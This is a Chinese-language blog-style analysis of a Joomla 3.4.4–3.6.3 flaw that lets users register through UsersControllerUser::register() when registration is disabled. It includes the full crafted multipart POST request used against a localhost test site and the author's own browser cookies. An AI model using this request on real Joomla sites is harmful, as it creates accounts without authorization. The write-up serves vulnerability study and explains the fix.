实验环境要求
Joomla版本 3.44到3.63
漏洞分析
在joomla中存在两个用户注册的方法:
在components/com_users/controllers/registration.php中的UsersControllerRegistration::register() 在components/com_users/controllers/user.php中的UsersControllerUser::register()
对比两个方法的代码
UsersControllerRegistration::register()
public function register() { JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN')); // Get the application $app = JFactory::getApplication(); //...some other php code }
public function register()
{
JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));
// Get the application
$app = JFactory::getApplication();
//...some other php code
}
通过phpstorm提供的对比功能(phpstorm的功能很强大),发现不同之处如图所示:
其实就是在UsersControllerRegistration::register()多了代码:
// If registration is disabled - Redirect to login page. if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0) { $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); return false; }
上面这行代码就是用来检测是否可以注入,如果可以注册则跳转到用户注册页面。但是在UsersControllerUser::register()没有相关的验证。所以我们就可以使用UsersControllerUser::register()来绕过验证,从而就可以注册用户了。
漏洞测试
常规的在页面上注册的方式是UsersControllerRegistration::register()。发送的注册请求为:
POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/joomla/index.php/component/users/?view=registration Cookie: mycookie Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------189711617232278 Content-Length: 1072 -----------------------------189711617232278 Content-Disposition: form-data; name="jform[name]" spoock -----------------------------189711617232278 Content-Disposition: form-data; name="jform[username]" spoock -----------------------------189711617232278 Content-Disposition: form-data; name="jform[password1]" 123456 -----------------------------189711617232278 Content-Disposition: form-data; name="jform[password2]" 123456 -----------------------------189711617232278 Content-Disposition: form-data; name="jform[email1]" test@163.com -----------------------------189711617232278 Content-Disposition: form-data; name="jform[email2]" test@163.com -----------------------------189711617232278 Content-Disposition: form-data; name="option" com_users -----------------------------189711617232278 Content-Disposition: form-data; name="task" registration.register -----------------------------189711617232278 Content-Disposition: form-data; name="949e7f6eaab9a1b4dc1c1702ae9f3fc6" 1 -----------------------------189711617232278--
通过阅读源代码,分析后台的路由请求,可知只需要将上述的请求包进行如下的修改,就可以使用UsersControllerUser::register()来进行注册了。
registration.register=user.register
jform[*] = user[*]
漏洞执行
在后台关闭用户注册的情况下来进行本次实验。
首先我们正常访问index.php得到cookie和token.
得到的Cookie和token如下:
Cookie
token
最后发送注册请求
POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/index.php/component/users/?view=registration
Cookie: Hm_lvt_40c56b34490f9ea56f05eb766d6b2e7b=1478150132,1478352968,1478592889,1479111038; _ga=GA1.1.696820131.1466840634; Phpstorm-fe73036=54a21206-2ee7-4a7a-a0c0-577019922af4; FYcH_2132_ulastactivity=0dcbKLaQEKWfXlPUzCf%2BD7DG9LJMnD9efMHUxRqUfY8JQCWyXOSx; FYcH_2132_lastcheckfeed=1%7C1470126538; phpbb3_4ttvx_u=1; phpbb3_4ttvx_k=; phpbb3_4ttvx_sid=322be368470dd08b26cfed25107e2222; fusionr1y13_visited=yes; ZzYr_2132_ulastactivity=9054L%2Bvwrmf2FdmA2Qmal3kSVZ3y9AkCSCehWaKcWPaIW%2BGR119g; ZzYr_2132_lastcheckfeed=8%7C1475036068; ZzYr_2132_nofavfid=1; ck_login_id_20=1; ck_login_language_20=en_us; ck_login_theme_20=Sugar5; e3e801563aa5e734a9b79dbd37bd17d9=uniubmstbjql5n4jjtn8icdpa5; 22fb69ec067044cb4a6b3dda65494eb4=i0lihk22g116nru8n8i6bn5t60
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------156031939117059 Content-Length: 1067 -----------------------------156031939117059 Content-Disposition: form-data; name="user[name]" spoock -----------------------------156031939117059 Content-Disposition: form-data; name="user[username]" spoock -----------------------------156031939117059 Content-Disposition: form-data; name="user[password1]" 123456 -----------------------------156031939117059 Content-Disposition: form-data; name="user[password2]" 123456 -----------------------------156031939117059 Content-Disposition: form-data; name="user[email1]" test@163.com -----------------------------156031939117059 Content-Disposition: form-data; name="user[email2]" test@163.com -----------------------------156031939117059 Content-Disposition: form-data; name="option" com_users -----------------------------156031939117059 Content-Disposition: form-data; name="task" user.register -----------------------------156031939117059 Content-Disposition: form-data; name="949e7f6eaab9a1b4dc1c1702ae9f3fc6" 1 -----------------------------156031939117059--
需要注意的是,修改的task的参数是POST data中的参数,而不是在URL处的参数(之前调试一直在这个地方出错,这一点是尤为需要注意的)。
最后就可以成功注册了,最后后台显示用户如下:
问题
虽然后台已经存在此用户,但是却无法登陆。
通过阅读代码发现在components/com_users/models/registration.php中的UsersModelRegistration::UsersModelRegistration()中存在代码:
$useractivation = $params->get('useractivation'); $sendpassword = $params->get('sendpassword', 1); // Check if the user needs to activate their account. if (($useractivation == 1) || ($useractivation == 2)) { $data['activation'] = JApplicationHelper::getHash(JUserHelper::genRandomPassword()); $data['block'] = 1; }
说明在进行常规注册的时候,会存在一个激活码。这个激活码需要通过邮箱认证才能够激活。即,如果用户要进行注册,则必须要使用邮箱进行激活。components/com_users/controllers/registration.php中的UsersControllerRegistration::activate()
public function activate(){ $user = JFactory::getUser(); $input = JFactory::getApplication()->input; $uParams = JComponentHelper::getParams('com_users'); // .....some other php codes // If user registration or account activation is disabled, throw a 403. if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0) { JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN')); return false; } // ..... some other php codes }
从上面的激活代码中发现,如果用户没有被激活,则直接出现403错误。
如此看来,这个漏洞也没有什么用。注册的用户无法登陆。
修复方法
最后Joomla的修复方法是直接删除了UsersControllerUser::register()方法。
总结
这个漏洞并没有利用到新奇的思路,主要是joomla在对用户注册的情况处理不当造成的。这篇文章只是记录了我在调试这个漏洞的情况,并没有什么新的思路。
目前PHP的水平还有限,无法看到整个joomla的设计框架。